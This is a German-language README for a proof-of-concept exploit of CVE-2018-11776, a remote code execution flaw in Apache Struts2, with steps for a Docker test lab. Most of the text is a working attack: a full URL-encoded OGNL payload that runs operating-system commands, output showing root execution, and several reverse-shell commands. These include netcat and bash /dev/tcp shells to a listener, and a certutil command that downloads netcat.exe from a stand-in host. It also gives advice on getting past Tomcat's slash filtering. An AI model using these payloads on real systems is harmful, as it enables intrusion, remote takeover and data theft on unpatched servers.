
Funktionsfähiger Python-Test und PoC für CVE-2018-11776, inklusive Docker-Labor
hook-s3c (github.com/hook-s3c), @hook_s3c auf Twitter
Arbeitsfähiger Python-Test und PoC für CVE-2018-11776, ursprünglich veröffentlicht auf; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Man Yue Mo von Semmle hat eine Struts2 RCE-Schwachstelle offengelegt, die in einem in den URL-Pfad einer Anfrage kodierten Payload geliefert wird.
Betroffene Versionen sind 2.3 bis 2.3.34 und 2.5 bis 2.5.16.
Die Standardkonfiguration ist nicht anfällig, aber bei Fehlkonfiguration... F.
Der Exploit funktioniert einwandfrei mit dem Docker-Container, der für CVE-2017-5638 erstellt wurde (struts2-showcase-2.3.12)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
füge die folgende Konfiguration hinzu;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
und außerdem;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
starte deinen Tomcat und/oder Container neu
$ /usr/local/tomcat/bin/shutdown.sh
Teste die URL, um zu sehen, ob eine Weiterleitung und Auswertung stattfindet;
mit dem Testskript;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
Bereite deine Box vor, um die Reverse Shell zu empfangen;
$ netcat -lvp 31337
führe das Skript aus;
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
Ersetze 32771 durch deinen exponierten Container-Port
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
Alle Anfragen mit einem Vorwärtsschrägstrich (/) werden fehlschlagen, weil Tomcat diese aktiv blockiert. Du musst dies möglicherweise umgehen, zum Beispiel durch die Verwendung von Umgebungsvariablen für /bin/bash wie $SHELL im obigen Beispiel.
Vor diesem Hintergrund wird das Windows /c-Flag nicht wie erwartet funktionieren. Ich habe dies nur auf dem Docker-Container getestet.
Dank an @Menin_TheMiddle, der gezeigt hat, dass das Vorwärtsschrägstrich-Problem gelöst werden kann. Der Code unterstützt jetzt Vorwärtsschrägstriche und somit ist auch eine Reverse Shell ohne netcat über Bash jetzt möglich. Außerdem werden jetzt Windows-Instanzen unterstützt (ungetestet).
Patch dein Struts oder verwende es einfach nicht.
Ich schätze, du kannst immer Identitätsbetrugsprodukte verkaufen, falls es zu einem Datenleck kommt und alle Kundendaten durchsickern! (Du weißt, wer du bist, absoluter Abschaum)
Dank an;
shout out to vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces